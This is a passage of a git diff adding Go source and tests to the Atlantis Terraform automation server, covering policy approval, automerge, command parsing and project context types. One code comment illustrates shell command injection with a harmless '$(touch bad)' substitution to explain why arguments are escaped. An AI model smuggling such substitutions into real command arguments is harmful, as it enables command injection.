runProjectCmds(projectCmds, a.prjCmdRunner.ApprovePolicies) + + a.pullUpdater.updatePull( + ctx, + cmd, + result, + ) + + pullStatus, err := a.dbUpdater.updateDB(ctx, pull, result.ProjectResults) + if err != nil { + ctx.Log.Err("writing results: %s", err) + return + } + + a.updateCommitStatus(ctx, pullStatus) +} + +func (a *ApprovePoliciesCommandRunner) updateCommitStatus(ctx *command.Context, pullStatus models.PullStatus) { + var numSuccess int + var numErrored int + status := models.SuccessCommitStatus + + numSuccess = pullStatus.StatusCount(models.PassedPolicyCheckStatus) + numErrored = pullStatus.StatusCount(models.ErroredPolicyCheckStatus) + + if numErrored > 0 { + status = models.FailedCommitStatus + } + + if err := a.commitStatusUpdater.UpdateCombinedCount(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, status, command.PolicyCheck, numSuccess, len(pullStatus.Projects)); err != nil { + ctx.Log.Warn("unable to update commit status: %s", err) + } +} diff --git a/server/events/automerger.go b/server/events/automerger.go new file mode 100644 index 0000000000..1d19964076 --- /dev/null +++ b/server/events/automerger.go @@ -0,0 +1,62 @@ +package events + +import ( + "fmt" + + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/events/vcs" +) + +type AutoMerger struct { + VCSClient vcs.Client + GlobalAutomerge bool +} + +func (c *AutoMerger) automerge(ctx *command.Context, pullStatus models.PullStatus, deleteSourceBranchOnMerge bool, mergeMethod string) { + // We only automerge if all projects have been successfully applied. + for _, p := range pullStatus.Projects { + if p.Status != models.AppliedPlanStatus { + ctx.Log.Info("not automerging because project at dir %q, workspace %q has status %q", p.RepoRelDir, p.Workspace, p.Status.String()) + return + } + } + + // Comment that we're automerging the pull request. + if err := c.VCSClient.CreateComment(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull.Num, automergeComment, command.Apply.String()); err != nil { + ctx.Log.Err("failed to comment about automerge: %s", err) + // Commenting isn't required so continue. + } + + // Make the API call to perform the merge. + ctx.Log.Info("automerging pull request") + var pullOptions models.PullRequestOptions + pullOptions.DeleteSourceBranchOnMerge = deleteSourceBranchOnMerge + pullOptions.MergeMethod = mergeMethod + err := c.VCSClient.MergePull(ctx.Log, ctx.Pull, pullOptions) + + if err != nil { + ctx.Log.Err("automerging failed: %s", err) + + failureComment := fmt.Sprintf("Automerging failed:\n```\n%s\n```", err) + if commentErr := c.VCSClient.CreateComment(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull.Num, failureComment, command.Apply.String()); commentErr != nil { + ctx.Log.Err("failed to comment about automerge failing: %s", err) + } + } +} + +// automergeEnabled returns true if automerging is enabled in this context. +func (c *AutoMerger) automergeEnabled(projectCmds []command.ProjectContext) bool { + // Use project automerge settings if projects exist; otherwise, use global automerge settings. + automerge := c.GlobalAutomerge + if len(projectCmds) > 0 { + automerge = projectCmds[0].AutomergeEnabled + } + return automerge +} + +// deleteSourceBranchOnMergeEnabled returns true if we should delete the source branch on merge in this context. +func (c *AutoMerger) deleteSourceBranchOnMergeEnabled(projectCmds []command.ProjectContext) bool { + //check if this repo is configured for automerging. + return (len(projectCmds) > 0 && projectCmds[0].DeleteSourceBranchOnMerge) +} diff --git a/server/events/command/context.go b/server/events/command/context.go new file mode 100644 index 0000000000..a32b10a793 --- /dev/null +++ b/server/events/command/context.go @@ -0,0 +1,55 @@ +package command + +import ( + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/logging" + tally "github.com/uber-go/tally/v4" +) + +// Trigger represents the how the command was triggered +type Trigger int + +const ( + // Commands that are automatically triggered (ie. automatic plans) + AutoTrigger Trigger = iota + + // Commands that are triggered by comments (ie. atlantis plan) + CommentTrigger +) + +// Context represents the context of a command that should be executed +// for a pull request. +type Context struct { + // HeadRepo is the repository that is getting merged into the BaseRepo. + // If the pull request branch is from the same repository then HeadRepo will + // be the same as BaseRepo. + // See https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges + HeadRepo models.Repo + Pull models.PullRequest + Scope tally.Scope + // User is the user that triggered this command. + User models.User + Log logging.SimpleLogging + + // Current PR state + PullRequestStatus models.PullReqStatus + + PullStatus *models.PullStatus + + // PolicySet is the policy set to target (if specified) for the approve_policies command. + PolicySet string + + // ClearPolicyApproval is true if approval should be cleared on specified policies. + ClearPolicyApproval bool + + Trigger Trigger + + // API is true if plan/apply by API endpoints + API bool + + // TeamAllowlistChecker is used to check authorization on a project-level + TeamAllowlistChecker TeamAllowlistChecker + + // Set true if there were any errors during the command execution + CommandHasErrors bool +} diff --git a/server/events/command/lock.go b/server/events/command/lock.go new file mode 100644 index 0000000000..e95cc38db8 --- /dev/null +++ b/server/events/command/lock.go @@ -0,0 +1,26 @@ +package command + +import ( + "time" +) + +// LockMetadata contains additional data provided to the lock +type LockMetadata struct { + UnixTime int64 +} + +// Lock represents a global lock for an atlantis command (plan, apply, policy_check). +// It is used to prevent commands from being executed +type Lock struct { + // Time is the time at which the lock was first created. + LockMetadata LockMetadata + CommandName Name +} + +func (l *Lock) LockTime() time.Time { + return time.Unix(l.LockMetadata.UnixTime, 0) +} + +func (l *Lock) IsLocked() bool { + return !l.LockTime().IsZero() +} diff --git a/server/events/command/name.go b/server/events/command/name.go new file mode 100644 index 0000000000..cfc541ea2b --- /dev/null +++ b/server/events/command/name.go @@ -0,0 +1,154 @@ +package command + +import ( + "fmt" + "strings" + + "golang.org/x/text/cases" + "golang.org/x/text/language" +) + +// Name is which command to run. +type Name int + +const ( + // Apply is a command to run terraform apply. + Apply Name = iota + // Plan is a command to run terraform plan. + Plan + // Unlock is a command to discard previous plans as well as the atlantis locks. + Unlock + // PolicyCheck is a command to run conftest test. + PolicyCheck + // ApprovePolicies is a command to approve policies with owner check + ApprovePolicies + // Autoplan is a command to run terraform plan on PR open/update if autoplan is enabled + Autoplan + // Version is a command to run terraform version. + Version + // Import is a command to run terraform import + Import + // State is a command to run terraform state rm + State + // Adding more? Don't forget to update String() below +) + +type ArgCount struct { + Min int + Max int +} + +// AllCommentCommands are list of commands that can be run from a comment. +var AllCommentCommands = []Name{ + Version, + Plan, + Apply, + Unlock, + ApprovePolicies, + Import, + State, +} + +// TitleString returns the string representation in title form. +// ie. policy_check becomes Policy Check +func (c Name) TitleString() string { + return cases.Title(language.English).String(strings.ReplaceAll(strings.ToLower(c.String()), "_", " ")) +} + +// String returns the string representation of c. +func (c Name) String() string { + switch c { + case Apply: + return "apply" + case Plan, Autoplan: + return "plan" + case Unlock: + return "unlock" + case PolicyCheck: + return "policy_check" + case ApprovePolicies: + return "approve_policies" + case Version: + return "version" + case Import: + return "import" + case State: + return "state" + } + return "" +} + +// DefaultUsage returns the command default usage +func (c Name) DefaultUsage() string { + switch c { + case Import: + return "import ADDRESS ID" + case State: + return "state [rm ADDRESS...]" + default: + return c.String() + } +} + +// SubCommands returns the list of sub commands for the command +func (c Name) SubCommands() []string { + switch c { + case State: + return []string{"rm"} + default: + return nil + } +} + +// CommandArgCount returns the number of required arguments for the command +func (c Name) CommandArgCount(subCommand string) (*ArgCount, error) { + switch c { + case Import: + return &ArgCount{2, 2}, nil // "atlantis import ADDRESS ID" + case State: + if subCommand == "rm" { + return &ArgCount{1, -1}, nil // "atlantis state rm ADDRESS..." + } + return nil, fmt.Errorf("command arg count unknown sub command: %s", subCommand) + default: + return &ArgCount{0, 0}, nil // other command doesn't require any args + } +} + +// IsMatchCount returns true if the number of arguments matches the requirement +func (a ArgCount) IsMatchCount(count int) bool { + if a.Min != -1 { + if count < a.Min { + return false + } + } + if a.Max != -1 { + if count > a.Max { + return false + } + } + return true +} + +// ParseCommandName parses raw name into a command name. +func ParseCommandName(name string) (Name, error) { + switch name { + case "apply": + return Apply, nil + case "plan": + return Plan, nil + case "unlock": + return Unlock, nil + case "policy_check": + return PolicyCheck, nil + case "approve_policies": + return ApprovePolicies, nil + case "version": + return Version, nil + case "import": + return Import, nil + case "state": + return State, nil + } + return -1, fmt.Errorf("unknown command name: %s", name) +} diff --git a/server/events/command/name_test.go b/server/events/command/name_test.go new file mode 100644 index 0000000000..8d91941b46 --- /dev/null +++ b/server/events/command/name_test.go @@ -0,0 +1,195 @@ +package command_test + +import ( + "fmt" + "math" + "reflect" + "testing" + + "github.com/runatlantis/atlantis/server/events/command" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +func TestName_TitleString(t *testing.T) { + tests := []struct { + c command.Name + want string + }{ + {command.Apply, "Apply"}, + {command.PolicyCheck, "Policy Check"}, + } + for _, tt := range tests { + t.Run(tt.want, func(t *testing.T) { + if got := tt.c.TitleString(); got != tt.want { + t.Errorf("TitleString() = %v, want %v", got, tt.want) + } + }) + } +} + +func TestName_String(t *testing.T) { + tests := []struct { + c command.Name + want string + }{ + {command.Apply, "apply"}, + {command.Plan, "plan"}, + {command.Unlock, "unlock"}, + {command.PolicyCheck, "policy_check"}, + {command.ApprovePolicies, "approve_policies"}, + {command.Version, "version"}, + {command.Import, "import"}, + {command.State, "state"}, + } + for _, tt := range tests { + t.Run(tt.want, func(t *testing.T) { + if got := tt.c.String(); got != tt.want { + t.Errorf("String() = %v, want %v", got, tt.want) + } + }) + } +} + +func TestName_DefaultUsage(t *testing.T) { + tests := []struct { + c command.Name + want string + }{ + {command.Apply, "apply"}, + {command.Plan, "plan"}, + {command.Unlock, "unlock"}, + {command.PolicyCheck, "policy_check"}, + {command.ApprovePolicies, "approve_policies"}, + {command.Version, "version"}, + {command.Import, "import ADDRESS ID"}, + {command.State, "state [rm ADDRESS...]"}, + } + for _, tt := range tests { + t.Run(tt.c.String(), func(t *testing.T) { + if got := tt.c.DefaultUsage(); got != tt.want { + t.Errorf("DefaultUsage() = %v, want %v", got, tt.want) + } + }) + } +} + +func TestName_SubCommands(t *testing.T) { + tests := []struct { + c command.Name + want []string + }{ + {c: command.Apply}, + {c: command.Plan}, + {c: command.Unlock}, + {c: command.PolicyCheck}, + {c: command.ApprovePolicies}, + {c: command.Version}, + {c: command.Import}, + {c: command.State, want: []string{"rm"}}, + } + for _, tt := range tests { + t.Run(tt.c.String(), func(t *testing.T) { + if got := tt.c.SubCommands(); !reflect.DeepEqual(got, tt.want) { + t.Errorf("SubCommands() = %v, want %v", got, tt.want) + } + }) + } +} + +func TestName_CommandArgCount(t *testing.T) { + tests := []struct { + c command.Name + subCommand string + want *command.ArgCount + wantErr bool + }{ + {c: command.Apply, want: &command.ArgCount{}}, + {c: command.Plan, want: &command.ArgCount{}}, + {c: command.Unlock, want: &command.ArgCount{}}, + {c: command.PolicyCheck, want: &command.ArgCount{}}, + {c: command.ApprovePolicies, want: &command.ArgCount{}}, + {c: command.Version, want: &command.ArgCount{}}, + {c: command.Import, want: &command.ArgCount{Min: 2, Max: 2}}, + {c: command.State, subCommand: "rm", want: &command.ArgCount{Min: 1, Max: -1}}, + {c: command.State, subCommand: "unknown", wantErr: true}, + } + for _, tt := range tests { + t.Run(fmt.Sprintf("%s %s", tt.c, tt.subCommand), func(t *testing.T) { + got, err := tt.c.CommandArgCount(tt.subCommand) + if (err != nil) != tt.wantErr { + t.Errorf("CommandArgCount() error = %v, wantErr %v", err, tt.wantErr) + return + } + if !reflect.DeepEqual(got, tt.want) { + t.Errorf("CommandArgCount() got = %v, want %v", got, tt.want) + } + }) + } +} + +func TestArgCount_IsMatchCount(t *testing.T) { + type fields struct { + Min int + Max int + } + tests := []struct { + name string + fields fields + count int + want bool + }{ + {name: "[0,0] success", fields: fields{Min: 0, Max: 0}, count: 0, want: true}, + {name: "[0,0] failure", fields: fields{Min: 0, Max: 0}, count: 1, want: false}, + {name: "[1,1] success", fields: fields{Min: 1, Max: 1}, count: 1, want: true}, + {name: "[1,1] failure1", fields: fields{Min: 1, Max: 1}, count: 0, want: false}, + {name: "[1,1] failure2", fields: fields{Min: 1, Max: 1}, count: 2, want: false}, + {name: "[-inf,1] success1", fields: fields{Min: -1, Max: 1}, count: 0, want: true}, + {name: "[-inf,1] success2", fields: fields{Min: -1, Max: 1}, count: 1, want: true}, + {name: "[-inf,1] failure", fields: fields{Min: -1, Max: 1}, count: 2, want: false}, + {name: "[1,inf] success1", fields: fields{Min: 1, Max: -1}, count: 1, want: true}, + {name: "[1,inf] success2", fields: fields{Min: 1, Max: -1}, count: math.MaxInt, want: true}, + {name: "[1,inf] failure", fields: fields{Min: 1, Max: -1}, count: 0, want: false}, + {name: "[-inf,inf] success", fields: fields{Min: -1, Max: -1}, count: 0, want: true}, + {name: "[-inf,inf] success", fields: fields{Min: -1, Max: -1}, count: math.MaxInt, want: true}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + a := command.ArgCount{ + Min: tt.fields.Min, + Max: tt.fields.Max, + } + if got := a.IsMatchCount(tt.count); got != tt.want { + t.Errorf("IsMatchCount() = %v, want %v", got, tt.want) + } + }) + } +} + +func TestParseCommandName(t *testing.T) { + tests := []struct { + exp command.Name + name string + }{ + {command.Apply, "apply"}, + {command.Plan, "plan"}, + {command.Unlock, "unlock"}, + {command.PolicyCheck, "policy_check"}, + {command.ApprovePolicies, "approve_policies"}, + {command.Version, "version"}, + {command.Import, "import"}, + {command.State, "state"}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + got, err := command.ParseCommandName(tt.name) + require.NoError(t, err) + assert.Equal(t, tt.exp, got) + }) + } + + t.Run("unknown command", func(t *testing.T) { + _, err := command.ParseCommandName("unknown") + assert.ErrorContains(t, err, "unknown command name: unknown") + }) +} diff --git a/server/events/command/project_context.go b/server/events/command/project_context.go new file mode 100644 index 0000000000..670aaa6c01 --- /dev/null +++ b/server/events/command/project_context.go @@ -0,0 +1,214 @@ +package command + +import ( + "fmt" + "strconv" + "strings" + + "github.com/hashicorp/go-version" + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/logging" + tally "github.com/uber-go/tally/v4" +) + +const ( + planfileSlashReplace = "::" +) + +// ProjectContext defines the context for a plan or apply stage that will +// be executed for a project. +type ProjectContext struct { + CommandName Name + // ApplyCmd is the command that users should run to apply this plan. If + // this is an apply then this will be empty. + ApplyCmd string + // ApprovePoliciesCmd is the command that users should run to approve policies for this plan. If + // this is an apply then this will be empty. + ApprovePoliciesCmd string + // PlanRequirements is the list of requirements that must be satisfied + // before we will run the plan stage. + PlanRequirements []string + // ApplyRequirements is the list of requirements that must be satisfied + // before we will run the apply stage. + ApplyRequirements []string + // ImportRequirements is the list of requirements that must be satisfied + // before we will run the import stage. + ImportRequirements []string + // AutomergeEnabled is true if automerge is enabled for the repo that this + // project is in. + AutomergeEnabled bool + // ParallelApplyEnabled is true if parallel apply is enabled for this project. + ParallelApplyEnabled bool + // ParallelPlanEnabled is true if parallel plan is enabled for this project. + ParallelPlanEnabled bool + // ParallelPolicyCheckEnabled is true if parallel policy_check is enabled for this project. + ParallelPolicyCheckEnabled bool + // AutoplanEnabled is true if autoplanning is enabled for this project. + AutoplanEnabled bool + // BaseRepo is the repository that the pull request will be merged into. + BaseRepo models.Repo + // EscapedCommentArgs are the extra arguments that were added to the atlantis + // command, ex. atlantis plan -- -target=resource. We then escape them + // by adding a \ before each character so that they can be used within + // sh -c safely, i.e. sh -c "terraform plan $(touch bad)". + EscapedCommentArgs []string + // HeadRepo is the repository that is getting merged into the BaseRepo. + // If the pull request branch is from the same repository then HeadRepo will + // be the same as BaseRepo. + HeadRepo models.Repo + // Dependencies are a list of project that this project relies on + // their apply status. These projects must be applied first. + // + // Atlantis uses this information to valid the apply + // orders and to warn the user if they're applying a project that + // depends on other projects. + DependsOn []string + // Log is a logger that's been set up for this context. + Log logging.SimpleLogging + // Scope is the scope for reporting stats setup for this context + Scope tally.Scope + // PullReqStatus holds state about the PR that requires additional computation outside models.PullRequest + PullReqStatus models.PullReqStatus + // CurrentProjectPlanStatus is the status of the current project prior to this command. + ProjectPlanStatus models.ProjectPlanStatus + //PullStatus is the status of the current pull request prior to this command. + PullStatus *models.PullStatus + // ProjectPolicyStatus is the status of policy sets of the current project prior to this command. + ProjectPolicyStatus []models.PolicySetStatus + + // Pull is the pull request we're responding to. + Pull models.PullRequest + // ProjectName is the name of the project set in atlantis.yaml. If there was + // no name this will be an empty string. + ProjectName string + // RepoConfigVersion is the version of the repo's atlantis.yaml file. If + // there was no file, this will be 0. + RepoConfigVersion int + // RePlanCmd is the command that users should run to re-plan this project. + // If this is an apply then this will be empty. + RePlanCmd string + // RepoRelDir is the directory of this project relative to the repo root. + RepoRelDir string + // Steps are the sequence of commands we need to run for this project and this + // stage. + Steps []valid.Step + // TerraformDistribution is the distribution of terraform we should use when + // executing commands for this project. This can be set to nil in which case + // we will use the default Atlantis terraform distribution. + TerraformDistribution *string + // TerraformVersion is the version of terraform we should use when executing + // commands for this project. This can be set to nil in which case we will + // use the default Atlantis terraform version. + TerraformVersion *version.Version + // Configuration metadata for a given project. + User models.User + // Verbose is true when the user would like verbose output. + Verbose bool + // Workspace is the Terraform workspace this project is in. It will always + // be set. + Workspace string + // PolicySets represent the policies that are run on the plan as part of the + // policy check stage + PolicySets valid.PolicySets + // PolicySetTarget describes which policy sets to target on the approve_policies step. + PolicySetTarget string + // ClearPolicyApproval determines whether policy counts will be incremented or cleared. + ClearPolicyApproval bool + // DeleteSourceBranchOnMerge will attempt to allow a branch to be deleted when merged (AzureDevOps & GitLab Support Only) + DeleteSourceBranchOnMerge bool + // Repo locks mode: disabled, on plan or on apply + RepoLocksMode valid.RepoLocksMode + // RepoConfigFile + RepoConfigFile string + // UUID for atlantis logs + JobID string + // The index of order group. Before planning/applying it will use to sort projects. Default is 0. + ExecutionOrderGroup int + // If plans/applies should be aborted if any prior plan/apply fails + AbortOnExecutionOrderFail bool + // Allows custom policy check tools outside of Conftest to run in checks + CustomPolicyCheck bool + SilencePRComments []string + + // TeamAllowlistChecker is used to check authorization on a project-level + TeamAllowlistChecker TeamAllowlistChecker +} + +// SetProjectScopeTags adds ProjectContext tags to a new returned scope. +func (p ProjectContext) SetProjectScopeTags(scope tally.Scope) tally.Scope { + v := "" + if p.TerraformVersion != nil { + v = p.TerraformVersion.String() + } + + tags := ProjectScopeTags{ + BaseRepo: p.BaseRepo.FullName, + PrNumber: strconv.Itoa(p.Pull.Num), + Project: p.ProjectName, + ProjectPath: p.RepoRelDir, + TerraformVersion: v, + Workspace: p.Workspace, + } + + return scope.Tagged(tags.Loadtags()) +} + +// GetShowResultFileName returns the filename (not the path) to store the tf show result +func (p ProjectContext) GetShowResultFileName() string { + if p.ProjectName == "" { + return fmt.Sprintf("%s.json", p.Workspace) + } + projName := strings.Replace(p.ProjectName, "/", planfileSlashReplace, -1) + return fmt.Sprintf("%s-%s.json", projName, p.Workspace) +} + +// GetPolicyCheckResultFileName returns the filename (not the path) to store the result from conftest_client. +func (p ProjectContext) GetPolicyCheckResultFileName() string { + if p.ProjectName == "" { + return fmt.Sprintf("%s-policyout.json", p.Workspace) + } + projName := strings.Replace(p.ProjectName, "/", planfileSlashReplace, -1) + return fmt.Sprintf("%s-%s-policyout.json", projName, p.Workspace) +} + +// Gets a unique identifier for the current pull request as a single string +func (p ProjectContext) PullInfo() string { + normalizedOwner := strings.ReplaceAll(p.BaseRepo.Owner, "/", "-") + normalizedName := strings.ReplaceAll(p.BaseRepo.Name, "/", "-") + projectRepo := fmt.Sprintf("%s/%s", normalizedOwner, normalizedName) + + return buildPullInfo(projectRepo, p.Pull.Num, p.ProjectName, p.RepoRelDir, p.Workspace) +} +func buildPullInfo(repoName string, pullNum int, projectName string, relDir string, workspace string) string { + projectIdentifier := getProjectIdentifier(relDir, projectName) + return fmt.Sprintf("%s/%d/%s/%s", repoName, pullNum, projectIdentifier, workspace) +} + +func getProjectIdentifier(relRepoDir string, projectName string) string { + if projectName != "" { + return projectName + } + // Replace directory separator / with - + // Replace . with _ to ensure projects with no project name and root dir set to "." have a valid URL + replacer := strings.NewReplacer("/", "-", ".", "_") + return replacer.Replace(relRepoDir) +} + +// PolicyCleared returns whether all policies are passing or not. +func (p ProjectContext) PolicyCleared() bool { + passing := true + for _, psStatus := range p.ProjectPolicyStatus { + if psStatus.Passed { + continue + } + for _, psCfg := range p.PolicySets.PolicySets { + if psStatus.PolicySetName == psCfg.Name { + if psStatus.Approvals != psCfg.ApproveCount { + passing = false + } + } + } + } + return passing +} diff --git a/server/events/command/project_context_test.go b/server/events/command/project_context_test.go new file mode 100644 index 0000000000..a70d344afc --- /dev/null +++ b/server/events/command/project_context_test.go @@ -0,0 +1,161 @@ +package command_test + +import ( + "testing" + + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + . "github.com/runatlantis/atlantis/testing" +) + +// Test PolicyCleared and PolicySummary +func TestPolicyCheckResults_PolicyFuncs(t *testing.T) { + cases := []struct { + description string + policySetsConfig valid.PolicySets + policySetStatus []models.PolicySetStatus + policyClearedExp bool + }{ + { + description: "single policy set, not passed", + policySetsConfig: valid.PolicySets{ + PolicySets: []valid.PolicySet{ + { + Name: "policy1", + ApproveCount: 1, + }, + }, + }, + policySetStatus: []models.PolicySetStatus{ + { + PolicySetName: "policy1", + Passed: false, + Approvals: 0, + }, + }, + policyClearedExp: false, + }, + { + description: "single policy set, passed", + policySetsConfig: valid.PolicySets{ + PolicySets: []valid.PolicySet{ + { + Name: "policy1", + ApproveCount: 1, + }, + }, + }, + policySetStatus: []models.PolicySetStatus{ + { + PolicySetName: "policy1", + Passed: true, + Approvals: 0, + }, + }, + policyClearedExp: true, + }, + { + description: "single policy set, fully approved", + policySetsConfig: valid.PolicySets{ + PolicySets: []valid.PolicySet{ + { + Name: "policy1", + ApproveCount: 1, + }, + }, + }, + policySetStatus: []models.PolicySetStatus{ + { + PolicySetName: "policy1", + Passed: false, + Approvals: 1, + }, + }, + policyClearedExp: true, + }, + { + description: "multiple policy sets, different states.", + policySetsConfig: valid.PolicySets{ + PolicySets: []valid.PolicySet{ + { + Name: "policy1", + ApproveCount: 2, + }, + { + Name: "policy2", + ApproveCount: 1, + }, + { + Name: "policy3", + ApproveCount: 1, + }, + }, + }, + policySetStatus: []models.PolicySetStatus{ + { + PolicySetName: "policy1", + Passed: false, + Approvals: 0, + }, + { + PolicySetName: "policy2", + Passed: false, + Approvals: 1, + }, + { + PolicySetName: "policy3", + Passed: true, + Approvals: 0, + }, + }, + policyClearedExp: false, + }, + { + description: "multiple policy sets, all cleared.", + policySetsConfig: valid.PolicySets{ + PolicySets: []valid.PolicySet{ + { + Name: "policy1", + ApproveCount: 2, + }, + { + Name: "policy2", + ApproveCount: 1, + }, + { + Name: "policy3", + ApproveCount: 1, + }, + }, + }, + policySetStatus: []models.PolicySetStatus{ + { + PolicySetName: "policy1", + Passed: false, + Approvals: 2, + }, + { + PolicySetName: "policy2", + Passed: false, + Approvals: 1, + }, + { + PolicySetName: "policy3", + Passed: true, + Approvals: 0, + }, + }, + policyClearedExp: true, + }, + } + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + pcs := command.ProjectContext{ + ProjectPolicyStatus: c.policySetStatus, + PolicySets: c.policySetsConfig, + } + Equals(t, c.policyClearedExp, pcs.PolicyCleared()) + }) + } +} diff --git a/server/events/command/project_result.go b/server/events/command/project_result.go new file mode 100644 index 0000000000..8f72f1d168 --- /dev/null +++ b/server/events/command/project_result.go @@ -0,0 +1,87 @@ +package command + +import ( + "github.com/runatlantis/atlantis/server/events/models" +) + +// ProjectResult is the result of executing a plan/policy_check/apply for a specific project. +type ProjectResult struct { + Command Name + SubCommand string + RepoRelDir string + Workspace string + Error error + Failure string + PlanSuccess *models.PlanSuccess + PolicyCheckResults *models.PolicyCheckResults + ApplySuccess string + VersionSuccess string + ImportSuccess *models.ImportSuccess + StateRmSuccess *models.StateRmSuccess + ProjectName string + SilencePRComments []string +} + +// CommitStatus returns the vcs commit status of this project result. +func (p ProjectResult) CommitStatus() models.CommitStatus { + if p.Error != nil { + return models.FailedCommitStatus + } + if p.Failure != "" { + return models.FailedCommitStatus + } + return models.SuccessCommitStatus +} + +// PolicyStatus returns the approval status of policy sets of this project result. +func (p ProjectResult) PolicyStatus() []models.PolicySetStatus { + var policyStatuses []models.PolicySetStatus + if p.PolicyCheckResults != nil { + for _, policySet := range p.PolicyCheckResults.PolicySetResults { + policyStatus := models.PolicySetStatus{ + PolicySetName: policySet.PolicySetName, + Passed: policySet.Passed, + Approvals: policySet.CurApprovals, + } + policyStatuses = append(policyStatuses, policyStatus) + } + } + return policyStatuses +} + +// PlanStatus returns the plan status. +func (p ProjectResult) PlanStatus() models.ProjectPlanStatus { + switch p.Command { + + case Plan: + if p.Error != nil { + return models.ErroredPlanStatus + } else if p.Failure != "" { + return models.ErroredPlanStatus + } else if p.PlanSuccess.NoChanges() { + return models.PlannedNoChangesPlanStatus + } + return models.PlannedPlanStatus + case PolicyCheck, ApprovePolicies: + if p.Error != nil { + return models.ErroredPolicyCheckStatus + } else if p.Failure != "" { + return models.ErroredPolicyCheckStatus + } + return models.PassedPolicyCheckStatus + case Apply: + if p.Error != nil { + return models.ErroredApplyStatus + } else if p.Failure != "" { + return models.ErroredApplyStatus + } + return models.AppliedPlanStatus + } + + panic("PlanStatus() missing a combination") +} + +// IsSuccessful returns true if this project result had no errors. +func (p ProjectResult) IsSuccessful() bool { + return p.PlanSuccess != nil || (p.PolicyCheckResults != nil && p.Error == nil && p.Failure == "") || p.ApplySuccess != "" +} diff --git a/server/events/command/project_result_test.go b/server/events/command/project_result_test.go new file mode 100644 index 0000000000..dad68c2e54 --- /dev/null +++ b/server/events/command/project_result_test.go @@ -0,0 +1,300 @@ +package command_test + +import ( + "errors" + "testing" + + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + . "github.com/runatlantis/atlantis/testing" +) + +func TestProjectResult_IsSuccessful(t *testing.T) { + cases := map[string]struct { + pr command.ProjectResult + exp bool + }{ + "plan success": { + command.ProjectResult{ + PlanSuccess: &models.PlanSuccess{}, + }, + true, + }, + "policy_check success": { + command.ProjectResult{ + PolicyCheckResults: &models.PolicyCheckResults{}, + }, + true, + }, + "apply success": { + command.ProjectResult{ + ApplySuccess: "success", + }, + true, + }, + "failure": { + command.ProjectResult{ + Failure: "failure", + }, + false, + }, + "error": { + command.ProjectResult{ + Error: errors.New("error"), + }, + false, + }, + } + + for name, c := range cases { + t.Run(name, func(t *testing.T) { + Equals(t, c.exp, c.pr.IsSuccessful()) + }) + } +} + +func TestProjectResult_PlanStatus(t *testing.T) { + cases := []struct { + p command.ProjectResult + expStatus models.ProjectPlanStatus + }{ + { + p: command.ProjectResult{ + Command: command.Plan, + Error: errors.New("err"), + }, + expStatus: models.ErroredPlanStatus, + }, + { + p: command.ProjectResult{ + Command: command.Plan, + Failure: "failure", + }, + expStatus: models.ErroredPlanStatus, + }, + { + p: command.ProjectResult{ + Command: command.Plan, + PlanSuccess: &models.PlanSuccess{}, + }, + expStatus: models.PlannedPlanStatus, + }, + { + p: command.ProjectResult{ + Command: command.Plan, + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "No changes. Infrastructure is up-to-date.", + }, + }, + expStatus: models.PlannedNoChangesPlanStatus, + }, + { + p: command.ProjectResult{ + Command: command.Apply, + Error: errors.New("err"), + }, + expStatus: models.ErroredApplyStatus, + }, + { + p: command.ProjectResult{ + Command: command.Apply, + Failure: "failure", + }, + expStatus: models.ErroredApplyStatus, + }, + { + p: command.ProjectResult{ + Command: command.Apply, + ApplySuccess: "success", + }, + expStatus: models.AppliedPlanStatus, + }, + { + p: command.ProjectResult{ + Command: command.PolicyCheck, + PolicyCheckResults: &models.PolicyCheckResults{}, + }, + expStatus: models.PassedPolicyCheckStatus, + }, + { + p: command.ProjectResult{ + Command: command.PolicyCheck, + Failure: "failure", + }, + expStatus: models.ErroredPolicyCheckStatus, + }, + { + p: command.ProjectResult{ + Command: command.ApprovePolicies, + PolicyCheckResults: &models.PolicyCheckResults{}, + }, + expStatus: models.PassedPolicyCheckStatus, + }, + { + p: command.ProjectResult{ + Command: command.ApprovePolicies, + Failure: "failure", + }, + expStatus: models.ErroredPolicyCheckStatus, + }, + } + + for _, c := range cases { + t.Run(c.expStatus.String(), func(t *testing.T) { + Equals(t, c.expStatus, c.p.PlanStatus()) + }) + } +} + +func TestPlanSuccess_Summary(t *testing.T) { + cases := []struct { + p command.ProjectResult + expResult string + }{ + { + p: command.ProjectResult{ + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: ` + An execution plan has been generated and is shown below. + Resource actions are indicated with the following symbols: + - destroy + + Terraform will perform the following actions: + + - null_resource.hi[1] + + + Plan: 0 to add, 0 to change, 1 to destroy.`, + }, + }, + expResult: "Plan: 0 to add, 0 to change, 1 to destroy.", + }, + { + p: command.ProjectResult{ + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: ` + An execution plan has been generated and is shown below. + Resource actions are indicated with the following symbols: + + No changes. Infrastructure is up-to-date.`, + }, + }, + expResult: "No changes. Infrastructure is up-to-date.", + }, + { + p: command.ProjectResult{ + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: ` + Note: Objects have changed outside of Terraform + + Terraform detected the following changes made outside of Terraform since the + last "terraform apply": + + No changes. Your infrastructure matches the configuration.`, + }, + }, + expResult: "\n**Note: Objects have changed outside of Terraform**\nNo changes. Your infrastructure matches the configuration.", + }, + { + p: command.ProjectResult{ + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: ` + Note: Objects have changed outside of Terraform + + Terraform detected the following changes made outside of Terraform since the + last "terraform apply": + + An execution plan has been generated and is shown below. + Resource actions are indicated with 